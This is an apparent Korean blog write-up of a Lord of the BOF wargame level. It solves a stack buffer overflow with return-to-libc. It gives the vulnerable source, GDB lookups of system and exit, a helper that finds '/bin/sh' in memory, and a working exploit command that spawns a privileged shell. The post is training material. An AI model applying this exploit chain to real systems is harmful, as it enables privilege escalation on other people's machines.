본문 바로가기

WarGame/LOB

[LOB] darkknight :: Return-To-Libc (RTL)


  • User : darkknight
  • 문제 : bugbear


bugbear.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        if(argv[1][47== '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]); // Vulnerability!!!
        printf("%s\n", buffer);
}
cs


취약한 strcpy() 함수를 사용하기 때문에 buffer Overflow를 발생시킬 수 있습니다. 하지만 argv[1]의 48번째 문자가 "\xbf"이어야 함으로 stack 영역을 사용할 수 없습니다. 따라서 RTL 기법을 이용하여 문제를 해결해야 합니다.


RTL 기법에 대한 자세한 설명은 제 블로그의 protostar 문제풀이 편을 참고하시기 바랍니다. (http://limjunyoung.tistory.com/158


Step 1. GDB를 이용하여 공유 라이브러리에 있는 system 함수와 exit 함수의 주소를 확인합니다.


1
2
3
4
5
6
7
8
9
10
(gdb) b *main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/darkknight/tmp/bugbear
 
Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$2 = {void (int)} 0x400391e0 <exit>
cs

 

Step 2. 다음과 같은 C 코드로 메모리에 존재하는 "/bin/sh" 문자열의 주소값을 확인합니다.


1
2
3
4
5
6
7
8
#include <stdio.h>
int main() {
        long sh = 0x40058ae0;  // &system
        while(memcmp((void*)sh, "/bin/sh"8)) {
                sh++;
        }
        printf("%p\n",sh);
}
cs


1
2
[darkknight@localhost tmp]$ ./getbinsh
0x400fbff9
cs


Step 3. 위에서 찾은 주소값을 조합하여 다음과 같은 payload를 만들 수 있습니다.

--------------------------------------------------

| buffer | SFP | &system | &exit | &"/bin/sh" |

--------------------------------------------------


1
2
3
4
5
6
7
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@?@廈@
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide
cs